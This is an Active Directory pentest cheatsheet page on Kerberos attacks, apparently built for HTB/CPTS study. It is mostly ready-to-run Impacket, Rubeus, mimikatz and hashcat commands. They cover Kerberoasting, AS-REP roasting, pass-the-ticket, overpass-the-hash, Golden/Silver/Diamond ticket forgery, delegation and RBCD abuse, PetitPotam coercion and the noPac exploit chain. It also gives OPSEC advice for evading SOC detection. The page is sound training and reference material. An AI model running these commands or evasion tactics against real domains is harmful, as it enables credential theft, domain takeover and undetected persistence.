FLOW^:Pentest Workflow

Stage 05 — Kerberos Attacks

Pentest attack-flow reference for stage 05 — kerberos attacks in an authorised engagement.

advancedupdated 2026-08-29Impacket · Rubeus · Kerbrute · Hashcat

[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow

Section: 08 of 17 · Focus: Stage 05 — Kerberos Attacks

Previous: Stage 04 — Active Directory Enumeration · Next: Stage 06 — ACL and Object Abuse


🎟️ STAGE 5 — Kerberos Attacks

Once I hold any valid domain creds (from spraying/roasting) I pivot to Kerberos: pull crackable material, replay tickets, and launder hashes into TGTs. All of this talks to the KDC on port 88 against $DC.

[!warning] Watch out — clock skew kills every Kerberos tool Kerberos rejects any request more than 5 min off the DC clock: KRB_AP_ERR_SKEW (Clock skew too great). Don’t touch my host clock — wrap the one tool that talks Kerberos with faketime. Measure first, then prefix:

nmap -p 88 --script clock-skew -Pn $DC          # median: 7h30m00s  => DC is ahead
faketime -f '+7h30m' getTGT.py "$DOMAIN"/"$U":"$P" -dc-ip $IP
# unsure of the sign? sync outright instead:
sudo ntpdate $IP

Always add -f so forked Python children inherit the fake time. faketime source: wolfcw/libfaketime; HTTP-based sync alternative: htpdate. Full playbook: faketime-cheatsheet.


⏱️ Kerberos in 60 seconds — the flow every attack hangs off

Kerberos auth exchangeTD
Client → KDCAS-REQ — prove identity (timestamp encrypted with my key)
KDC → ClientAS-REP — TGT (encrypted with krbtgt key) + session key
Client → KDCTGS-REQ — TGT + SPN of the service I want
KDC → ClientTGS-REP — service ticket (encrypted with the SERVICE account's key)
Client → ServiceAP-REQ — present service ticket
Service → Clientaccess granted

Why each attack exists, mapped to a step:

StepAttackWhy it works
1–2AS-REP RoastNo pre-auth required → the AS-REP material is encrypted with the user’s password key → offline crack
3–4KerberoastAny user may request a TGS; the TGS is encrypted with the service account’s password key → offline crack
1–2Overpass-the-Hash / Pass-the-KeyThe “proof of identity” key IS the NT hash / AES key — owning it = minting TGTs
1–5Pass-the-TicketTickets are bearer tokens; a stolen/forged TGT or TGS replays until expiry
3–4Delegation abuse (S4U)Trusted services can ask the KDC for tickets on behalf of users — misconfig = impersonate anyone
forgeGolden/Silver/DiamondOwning krbtgt (or service) keys = sign my own tickets, skipping the KDC entirely

Key terms: TGT (ticket-granting ticket, from AS exchange), TGS (service ticket, from TGS exchange), SPN (service/hostname string binding a service to an account), PAC (authorization data inside the ticket — where group SIDs live), krbtgt (the KDC’s own account — its key signs every TGT).

[!abstract]- MITRE ATT&CK map for this stage

TechniqueSection
T1558.003 — KerberoastingKerberoasting / Targeted Kerberoasting
T1558.004 — AS-REP RoastingAS-REP Roasting
T1550.003 — Pass the TicketPtT
T1550.002 — Pass the Hash (OPtH variant)Overpass-the-Hash
T1558.001 — Golden Ticket / T1558.002 — Silver TicketTicket forgery
T1558 — Steal or Forge Kerberos Tickets (delegation sub-paths)Delegation section
T1187 — Forced AuthenticationCoercion (PetitPotam/printerbug)

🔥 Kerberoasting — SPN accounts → offline crack

What to look for: user accounts with a servicePrincipalName set (svc_sql, svc_backup, svc_iis…). Any domain user can request their TGS — no privs needed. The TGS is encrypted with the service account’s password hash. Discovery itself lives in Stage 04 (--kerberoasting, Get-DomainUser -SPN, setspn -Q */*); this section is the harvest.

Enumerate

# List SPN accounts — no ticket requested yet
GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip $IP

# netexec sweep (also dumps in one shot)
nxc ldap $DC -u "$U" -p "$P" --kerberoasting kerb.hash

Exploit / Attack

# Request + dump ALL TGS hashes
GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -request -outputfile kerb.hash

# Single high-value target
GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -request-user svc_sql -outputfile svc_sql.hash

# Auth with an NT hash instead of a password
GetUserSPNs.py "$DOMAIN"/"$U" -hashes :<NTHASH> -dc-ip $IP -request

# impacket asks for RC4 tickets by default - there is NO etype flag;
# the explicit RC4 downgrade lives on the Windows side: .\Rubeus.exe kerberoast /rc4
GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -request

# Crack — RC4 ($krb5tgs$23$) is mode 13100
hashcat -m 13100 kerb.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# AES128 ($krb5tgs$17$) -> 19600 | AES256 ($krb5tgs$18$) -> 19700
hashcat -m 19600 kerb.hash /usr/share/wordlists/rockyou.txt
hashcat -m 19700 kerb.hash /usr/share/wordlists/rockyou.txt

On-host from Windows I reach for Rubeus instead (see Rubeus-Cheatsheet):

[!tools] Stage this — Rubeus (the Kerberos Swiss army knife) Rubeus.exe (SHA-256 · GPG signature) GhostPack Rubeus covers this whole note on-host: kerberoast, asreproast, asktgt, ptt, s4u, monitor, diamond, describe. Same binary gets reused in every section below.

.\Rubeus.exe kerberoast /outfile:hashes.txt /nowrap
.\Rubeus.exe kerberoast /user:svc_sql /nowrap
.\Rubeus.exe kerberoast /stats            # recon only — zero ticket requests
.\Rubeus.exe kerberoast /rc4 /nowrap      # RC4-downgrade for fast cracking
.\Rubeus.exe kerberoast /aes /nowrap      # or request AES tickets when RC4 is blocked

RC4-downgrade notes:

  • Older svc accounts often support RC4 while the domain defaults to AES — asking for RC4 (/rc4, or Rubeus default behaviour) yields a $krb5tgs$23$ that cracks ~1000× faster than AES256.
  • AES-only accounts (msDS-SupportedEncryptionTypes = 24) refuse RC4: KDC_ERR_ETYPE_NOSUPP → take the AES ticket and crack 19600/19700 (or pick a different target).
  • Every RC4 request is a detection beacon: Event 4769 with Ticket Encryption Type: 0x17 where the baseline is 0x12 is a classic SIEM rule. Prefer AES requests on monitored networks even though the crack is slower.

Hash-mode cheat table:

Hash prefixMaterialHashcatNotes
$krb5asrep$23$AS-REP, RC418200AS-REP roast, no creds needed
$krb5tgs$23$TGS, RC413100standard kerberoast — fast
$krb5tgs$17$TGS, AES12819600AES-enforced accounts
$krb5tgs$18$TGS, AES25619700slowest — add -w 3, good rules

[!warning] Watch out

  • $krb5tgs$23$ = RC4 = mode 13100 (fast). $krb5tgs$18$ = AES256 = 19700 (slow, may need -w 3). Read the prefix before you pick the mode.
  • AES-only domains throw KDC_ERR_ETYPE_NOSUPP on RC4 downgrade — switch to 19600/19700.
  • Always -outputfile / /nowrap; wrapped base64 lines silently corrupt the hash.
  • Bulk roasting = a burst of Event 4769 (etype 0x17) → instant SIEM flag. Target single accounts when it matters.
  • Cracked svc account → immediately re-enumerate as it (the doctrine in Stage 04): service accounts routinely hold shares, SQL, or delegation rights the original user lacked.

Deep dives: 🔴 Attack · Kerberoasting Cheatsheet · Kerberoasting — Local On-Host Cheatsheet.


🩸 AS-REP Roasting — pre-auth disabled → crack with no creds

What to look for: accounts with DONT_REQ_PREAUTH (userAccountControl bit 0x400000). The KDC hands back an AS-REP blob encrypted with the account’s hash without any proof of identity — I don’t even need creds, just a username. Discovery lives in Stage 04 (--asreproast, kerbrute --hash-file, PowerView -PreauthNotRequired).

Enumerate

# Authenticated auto-discovery of vulnerable accounts
nxc ldap $DC -u "$U" -p "$P" --asreproast asrep.hash

Exploit / Attack

# No creds — brute a userlist (only usernames needed)
GetNPUsers.py "$DOMAIN"/ -no-pass -usersfile users.txt -dc-ip $IP -format hashcat -outputfile asrep.hash

# Authenticated — auto-enumerate + dump every vulnerable account
GetNPUsers.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -request -format hashcat -outputfile asrep.hash

# Unauthenticated AS-REP roast across a user list (no creds needed — only DONT_REQ_PREAUTH accounts pop)
GetNPUsers.py "$DOMAIN"/ -no-pass -usersfile users.txt -dc-ip $IP -format hashcat
# No etype flag exists here either: AES-only accounts come back as $krb5asrep$18$ (hashcat 19900)

# Crack — AS-REP ($krb5asrep$23$) is mode 18200
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Windows / on-host:

.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt /nowrap

[!tip] Run AS-REP roasting before password spraying — it’s passive, needs no creds, and each account is queried once so there’s zero lockout risk. This is the “user list → cred” bridge in the Stage 04 methodology.

[!warning] Watch out AS-REP is mode 18200, NOT 13100 — different hash ($krb5asrep$ vs $krb5tgs$). Unauthenticated runs leave a 4768 with PreAuthType: 0 per target — light touch, don’t spray 20 at once. GetNPUsers.py errors are also the best skew tripwire: KRB_AP_ERR_SKEW = fix the clock (top of this note) before anything else.

Deep dive: 🔴 Attack.


🎯 Targeted Kerberoasting — write an SPN, then roast

What to look for: I hold GenericWrite/GenericAll over a user object (from ACL abuse / BloodHound). I set a bogus SPN on it, roast the TGS, then strip the SPN to clean up. This is the standard way to spend a GenericWrite edge on a user when I can’t reset the password safely.

[!tools] Stage this — targetedKerberoast targetedKerberoast.py (SHA-256 · GPG signature) Source: ShutdownRepo/targetedKerberoast. One-shot: sets a temp SPN via my ACL, requests the TGS, removes the SPN again, prints a hashcat-ready hash.

Exploit / Attack

# One-shot: adds a temp SPN, roasts, removes the SPN
python3 targetedKerberoast.py -v -d "$DOMAIN" -u "$U" -p "$P" --dc-ip $IP --request-user <target>
hashcat -m 13100 <target>.hash /usr/share/wordlists/rockyou.txt

# Manual equivalent via bloodyAD (set SPN -> roast -> clear)
bloodyAD --host $DC -d "$DOMAIN" -u "$U" -p "$P" set object <target> servicePrincipalName -v 'any/SPN'
GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -request-user <target> -outputfile <target>.hash
bloodyAD --host $DC -d "$DOMAIN" -u "$U" -p "$P" remove object <target> servicePrincipalName

[!warning] Watch out targetedKerberoast.py is a fork of Python impacket → it needs the clock right too. sudo ntpdate $IP (or faketime -f '+Xh') before you run it, or it fails on skew. Same mode 13100 crack. The write itself is logged (Event 5136/4662 directory-service changes) — on monitored networks, roast-and-clean fast; leaving a stray SPN is both an IOC and a broken account.


🎫 Pass-the-Ticket (PtT) — grab a TGT, replay it

What to look for: a valid TGT/ccache — either dumped from LSASS on a Windows host (Rubeus/Mimikatz) or minted from creds/hash with getTGT.py. A TGT = access to any service the victim can reach; a TGS = that one service only. Bypasses MFA — the ticket is already authenticated.

Enumerate / obtain a ticket

# Mint a TGT from creds or an NT hash (outputs <user>.ccache)
getTGT.py "$DOMAIN"/"$U":"$P" -dc-ip $IP
getTGT.py "$DOMAIN"/"$U" -hashes :<NTHASH> -dc-ip $IP

export KRB5CCNAME=$(pwd)/"$U".ccache
klist                                     # confirm it loaded + check expiry

Exploit / Attack — use -k -no-pass everywhere

export KRB5CCNAME=/path/to/ticket.ccache
psexec.py     -k -no-pass "$DOMAIN"/"$U"@$DC
wmiexec.py    -k -no-pass "$DOMAIN"/"$U"@$DC
secretsdump.py -k -no-pass "$DOMAIN"/"$U"@$DC
nxc smb $DC --use-kcache
evil-winrm -i $DC -r "$DOMAIN"

# Windows-format ticket? convert .kirbi -> .ccache first (and back for Rubeus)
ticketConverter.py ticket.kirbi ticket.ccache
ticketConverter.py ticket.ccache ticket.kirbi

kirbi ↔ ccache — the format map:

FormatNative toUse withConvert
.ccacheMIT Kerberos (Linux)impacket -k, evil-winrm -r, klistticketConverter.py x.kirbi x.ccache
.kirbiWindows / Rubeus / mimikatzRubeus.exe ptt, kerberos::pttticketConverter.py x.ccache x.kirbi
base64 blobRubeus /nowrap outputRubeus.exe ptt /ticket:<b64>wrap/unwrap via ticketConverter after decoding
# Inspect any ticket before burning it (see flags, etype, expiry)
describeTicket.py ticket.ccache

From a Windows foothold I dump + inject in place:

.\Rubeus.exe triage
.\Rubeus.exe dump /nowrap
.\Rubeus.exe ptt /ticket:<base64_or_kirbi>
# mimikatz alternative:
# mimikatz # sekurlsa::tickets /export
# mimikatz # kerberos::ptt ticket.kirbi

[!warning] Watch out

  • Kerberos is hostname-based: authenticate to $DC (the FQDN), never the raw $IP, or you get KRB_AP_ERR / principal-unknown. Add $IP $DC $DOMAIN to /etc/hosts.
  • export KRB5CCNAME before the tool, and -k -no-pass on the tool itself — forget either and it silently falls back to NTLM.
  • TGT default life is 10h; a nearly-expired one is dead weight — klist the expiry.
  • A stolen TGT replayed from a new source IP is exactly what “pass-the-ticket” analytics look for (ticket used from a host that never did the AS-REQ). On monitored networks prefer OPtH/asktgt to mint a fresh TGT over replaying a stolen one.

Deep dive: 🔴 Attack · full ticket toolkit in Impacket-Cheatsheet.


🔐 Overpass-the-Hash (Pass-the-Key) — NT hash → fresh TGT

What to look for: I have an NT hash (or AES key) but NTLM is blocked/monitored. OPtH uses the hash as a Kerberos key to request a brand-new TGT, so I operate purely in Kerberos from there. AES key = stealthiest and works even when RC4 is disabled.

Exploit / Attack

# NT hash -> TGT
getTGT.py "$DOMAIN"/"$U" -hashes :<NTHASH> -dc-ip $IP
# AES256 key -> TGT (no RC4 downgrade signature)
getTGT.py "$DOMAIN"/"$U" -aesKey <AES256KEY> -dc-ip $IP

export KRB5CCNAME=$(pwd)/"$U".ccache
psexec.py -k -no-pass "$DOMAIN"/"$U"@$DC

# Skip the TGT — go straight for a service ticket
getST.py "$DOMAIN"/"$U" -hashes :<NTHASH> -spn cifs/$DC -dc-ip $IP

Windows / Rubeus:

.\Rubeus.exe asktgt /user:"$U" /rc4:<NTHASH>    /domain:"$DOMAIN" /dc:$DC /ptt
.\Rubeus.exe asktgt /user:"$U" /aes256:<AES256KEY> /domain:"$DOMAIN" /opsec /ptt
.\Rubeus.exe asktgt /user:"$U" /password:"$P" /domain:"$DOMAIN" /ptt     # cred -> TGT, inject in one go

[!warning] Watch out RC4 OPtH throws Event 4768 etype 0x17 — a red flag in AES-enforced domains. Pull the AES key (sekurlsa::ekeys) and use /aes256 / -aesKey to blend in. AES-only domains reject RC4 with KDC_ERR_ETYPE_NOSUPP. Rubeus /opsec mimics a legitimate AS-REQ exchange (two-step pre-auth) instead of the noisy one-shot — use it whenever detection is in scope.

Deep dive: 🔴 Attack.


🥇🥈 Golden & Silver Tickets — forging with stolen keys

Post-DA / forgery territory — needs the krbtgt hash (Golden) or a service/computer account hash (Silver) plus the domain SID. Golden = forge a TGT (opens everything, KDC-validates it). Silver = forge one service’s TGS (never touches the KDC — quieter, but only that service on that host).

[!tools] Stage this — mimikatz (the original ticket forger) mimikatz_trunk.zip (SHA-256 · GPG signature) Source: gentilkiwi/mimikatz. The impacket ticketer.py equivalents below are the Linux-side option; mimikatz is the on-host option.

# Domain SID
lookupsid.py "$DOMAIN"/"$U":"$P"@$IP 0 | grep -i 'Domain SID'

# GOLDEN — forge a TGT from the krbtgt hash (get it via DCSync first)
ticketer.py -nthash <KRBTGT_NT> -domain-sid <DOMAIN_SID> -domain "$DOMAIN" Administrator
# stealthier: forge with the krbtgt AES256 key instead of the NT hash
ticketer.py -aesKey <KRBTGT_AES256> -domain-sid <DOMAIN_SID> -domain "$DOMAIN" Administrator

# SILVER — forge a single-service TGS from the service/computer acct hash (never touches KDC)
ticketer.py -nthash <SVC_NT> -domain-sid <DOMAIN_SID> -domain "$DOMAIN" -spn cifs/$DC Administrator

export KRB5CCNAME=$(pwd)/Administrator.ccache
psexec.py -k -no-pass "$DOMAIN"/Administrator@$DC
# mimikatz equivalents (on-host)
mimikatz # lsadump::dcsync /user:krbtgt                      # get krbtgt keys (needs DCSync rights)
mimikatz # kerberos::golden /user:Administrator /domain:$DOMAIN /sid:<SID> /krbtgt:<NT> /ptt
mimikatz # kerberos::golden /user:Administrator /domain:$DOMAIN /sid:<SID> /aes256:<KEY> /ptt

Golden vs Silver — when each:

Golden (krbtgt key)Silver (service/machine key)
ScopeAny user, any service, domain-wideOne service on one host
KDC contactTGS-REQ still happens (4769 logged)None — service validates it locally
DetectionPAC/flow anomalies, 4769 mismatchOnly service-side logs (often unmonitored) — stealthier
SurvivalDies only on double krbtgt resetDies when the service/machine password rotates
Best forPersistence, full-domain accessQuiet access to one box (e.g. cifs/, host/, http/)

[!note] Deep dives: 🟠 Attack · 🟠 Attack · 🥈 Silver Ticket Attack Cheatsheet. Reminder: post-Nov-2021 patches require the forged username to exist in AD, and only a double krbtgt reset kills a Golden Ticket.

[!tip] Crack-mode quick card: Kerberoast RC4 13100 · AES128 19600 · AES256 19700 · AS-REP 18200. Full list: hashcat modes.


💎 Diamond & Sapphire Tickets (stealth variants)

What to look for → you hold the KRBTGT AES key and want a forged TGT that survives modern detection. A Golden Ticket is forged from scratch (no matching AS-REQ on the DC = a detection signature); a Diamond ticket decrypts a real TGT, rewrites its PAC, and re-signs it — so it has a legitimate audit trail. Sapphire goes one step further: it copies the PAC of a real privileged user (fetched via S4U) into the forged ticket, so even the PAC contents match a genuine logon.

GoldenDiamondSapphire
Needskrbtgt keykrbtgt key + any way to get a real TGTkrbtgt key + target user’s PAC (via S4U2Self)
AS-REQ on DC?❌ none (detectable gap)✅ real one exists✅ real one exists
PACfabricatedmodified from real TGTcopied from a real high-priv user
Detection resistancelowhighhighest

Exploit (Rubeus, on a Windows foothold)

# grab a real TGT (tgtdeleg), inject DA into its PAC, re-sign with the krbtgt AES256 key
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 `
  /krbkey:<AES256_of_krbtgt> /nowrap

[!note] When to bother On HTB, a Golden Ticket (via ticketer.py / mimikatz kerberos::golden) is usually enough and simpler. Reach for Diamond/Sapphire only when detection is explicitly in scope. Deep dives: 🟠 Attack · 🟠 Attack.


🔁 Delegation abuse — unconstrained, constrained, RBCD

Delegation = a service trusted to request tickets on behalf of users. Three flavours, three different attacks. Discovery: nxc ldap $DC -u "$U" -p "$P" --find-delegation / BloodHound AllowedToDelegate edges / PowerView -TrustedToAuth (Stage 04).

Unconstrained delegation — the TGT vacuum

A host trusted for unconstrained delegation caches the TGT of every user who authenticates to it. Own the host → dump LSASS → collect TGTs. No users coming? Coerce a privileged one.

[!tools] Stage this — PetitPotam (coerce the DC to authenticate to me) PetitPotam.py (SHA-256 · GPG signature) Source: topotam/PetitPotam. Alternatives: SpoolSample / printerbug (MS-RPRN), Coercer (multi-protocol scanner), DFSCoerce.

# 1) sit on the unconstrained host and watch for incoming TGTs
.\Rubeus.exe monitor /interval:5 /nowrap
# 2) from my box, force the DC to auth to the unconstrained host
python3 PetitPotam.py <UNCONSTRAINED_HOST> $DC          # patched DCs: try printerbug instead
python3 printerbug.py "$DOMAIN"/"$U":"$P"@$DC <UNCONSTRAINED_HOST>
# 3) the DC$ machine TGT lands in Rubeus monitor -> ptt it -> DCSync
.\Rubeus.exe ptt /ticket:<base64_from_monitor>
mimikatz # lsadump::dcsync /user:krbtgt

[!warning] Watch out DC computer accounts are in Protected Users on modern domains → their TGTs don’t forward. In that case coerce a different DC, or pivot to RBCD below. Coercion = forced authentication (T1187) and is loud — one shot, not a loop.

Constrained delegation — S4U2Proxy impersonation

A service with msDS-AllowedToDelegateTo: cifs/target can ask the KDC for a service ticket as any user to that target service only.

# Linux — getST with S4U2Self+S4U2Proxy in one shot
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator "$DOMAIN"/"$U":"$P" -dc-ip $IP
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass "$DOMAIN"/Administrator@<TARGET_FQDN>
# Windows — Rubeus s4u (needs the delegating service's hash or TGT)
.\Rubeus.exe s4u /user:svc_iis /rc4:<SVC_NTHASH> /impersonateuser:Administrator /msdsspn:cifs/<TARGET> /ptt
# protocol transition (TrustedToAuth) lets a non-Kerberos auth become a TGS:
.\Rubeus.exe s4u /user:svc_web /ticket:<tgt.kirbi> /impersonateuser:Administrator /msdsspn:time/<DC> /altservice:ldap /ptt

[!note] Bronze Bit (CVE-2020-17049) Pre-Dec-2020 KDCs ignored the “not forwardable” bit on S4U2Self tickets, letting constrained delegation impersonate Protected Users / delegation-protected accounts. Mostly patched now — check on 2016/2019-era boxes, otherwise expect KDC_ERR_BADOPTION.

RBCD — Resource-Based Constrained Delegation (the GenericWrite-on-computer play)

The modern standard: if I have GenericWrite/WriteProperty over a computer object (or can create a machine account — MachineAccountQuota > 0), I set msDS-AllowedToActOnBehalfOfOtherIdentity on the victim computer and S4U myself in. This is the edge behind half of BloodHound’s “computer takeover” paths.

# 0) check quota first (need > 0 to add a machine)
nxc ldap $DC -u "$U" -p "$P" -M maq

# 1) add a machine account I control (Linux: impacket addcomputer.py | Windows: Powermad)
addcomputer.py -computer-name 'ATTACK$' -computer-pass 'Passw0rd!' -dc-ip $IP "$DOMAIN"/"$U":"$P"
# Windows:  Import-Module .\Powermad.ps1 ; New-MachineAccount -MachineAccount ATTACK

# 2) grant my machine account RBCD on the VICTIM computer
bloodyAD --host $DC -d "$DOMAIN" -u "$U" -p "$P" add rbcd 'VICTIM$' 'ATTACK$'
# impacket equivalent:
rbcd.py -delegate-from 'ATTACK$' -delegate-to 'VICTIM$' -dc-ip $IP -action write "$DOMAIN"/"$U":"$P"

# 3) S4U as Administrator to the victim
getST.py -spn cifs/<VICTIM_FQDN> -impersonate Administrator "$DOMAIN"/'ATTACK$':'Passw0rd!' -dc-ip $IP
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass "$DOMAIN"/Administrator@<VICTIM_FQDN>

# 4) CLEANUP — reverse every write, every time
bloodyAD --host $DC -d "$DOMAIN" -u "$U" -p "$P" remove rbcd 'VICTIM$' 'ATTACK$'
addcomputer.py -computer-name 'ATTACK$' -dc-ip $IP "$DOMAIN"/"$U":"$P" -delete

[!danger] Cleanup is part of the attack An orphaned RBCD entry (msDS-AllowedToActOnBehalfOfOtherIdentity) is a persistent, stealthy backdoor — great for an APT, unacceptable to leave in a client’s AD. Log the attribute’s original value before writing, and restore it exactly. Detection: Event 5136 (attribute modified) on the computer object + Event 4662 if auditing; machine-account creation = Event 4741.

Also: getST.py impersonation of Administrator to cifs/ fails if the target admin is in Protected Users or marked “account is sensitive and cannot be delegated” — impersonate a different privileged user instead.


🧨 sAMAccountName spoof + noPac (CVE-2021-42278 / CVE-2021-42287)

Any domain user + default MachineAccountQuota=10 → create a machine account, rename it to a DC’s name (spoof sAMAccountName), request a TGT, rename back, then S4U2Self — the KDC “loses” the machine and grants a ticket as the DC → DCSync → DA. Unpatched 2016/2019/2022 DCs only.

# check
nxc smb $DC -u "$U" -p "$P" -M nopac
# exploit (noPac — github.com/Ridter/noPac)
python3 noPac.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -dc-host ${DC%%.*} -shell --impersonate Administrator -use-ldap
# or dump instead of shell:  -dump
# sam-the-admin (github.com/WazeHell/sam-the-admin) — the same chain with a cleaner auto-flow:
python3 sam_the_admin.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -shell

[!warning] Watch out Needs MAQ > 0 and an unpatched DC — both rarer in 2026, but lab ranges love it. Leaves Event 4741 (computer created) + 4781/4742 (renames) + anomalous 4768/4769 — extremely noisy chain; on real engagements prefer RBCD/ACL paths unless this is the only door. Links: noPac · sam-the-admin. Also covered in the Stage 04 CVE checkpoint (Stage 04).


🛡️ Detection & OPSEC — what Kerberos attacks look like to a SOC

My actionEvent / signalBlend-in move
AS-REP roast (unauth)4768 with Pre-Auth Type: 0, one per accountquery few accounts; it’s quiet in ones
Kerberoast burst4769 spike, Ticket Encryption: 0x17 (RC4)single-target requests; accept AES (0x12) tickets
RC4 downgrade4768/4769 etype 0x17 where baseline is 0x12request AES explicitly; crack 19600/19700
Failed auth (bad hash/spread)4771 (Kerberos pre-auth failed), 4625validate creds once, don’t re-spray
OPtH with RC44768 etype 0x17 for a user whose baseline is AESuse /aes256 + Rubeus /opsec (real 2-step AS-REQ)
PtT from new hostticket used from IP that never did AS-REQ (KDC-log correlation)mint fresh TGT (asktgt) instead of replaying
Golden ticketTGT with no matching 4768 on the DCDiamond/Sapphire (real AS-REQ trail)
Coercion (PetitPotam)DC machine account connects out — NDR/EDR beaconone-shot only; have the trap set first
RBCD write5136/4662 attribute change + 4741 machine creationrestore original attribute; delete the machine

[!danger] OPSEC rules for tickets

  • Prefer AES keys over RC4 everywhere (sekurlsa::ekeys grabs both) — RC4 etype is the single easiest Kerberos detection to write.
  • Respect lifetimes: default TGT 10h / renewable 7d. A forged ticket with a 10-year lifetime is an IOC; match the domain’s MaxTicketAge.
  • Wipe opsec fields: when forging, set realistic LogonCount, BadPwdCount, LastLogon in the PAC (mimikatz/ticketer defaults can be zeroed — a user with 0 logons holding DA group membership is an anomaly).
  • Purge after use: kdestroy (Linux) / Rubeus.exe purge / klist purge (Windows) — and on the defending side, remember only a double krbtgt reset retires golden tickets.
  • Full defense-side reading: detections in MITRE ATT&CK T1558 sub-techniques.

[!navigation] Continue the attack flow Previous: Stage 04 — Active Directory Enumeration

Dashboard: HTB Pentest Attack Flow

Next: Stage 06 — ACL and Object Abuse

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.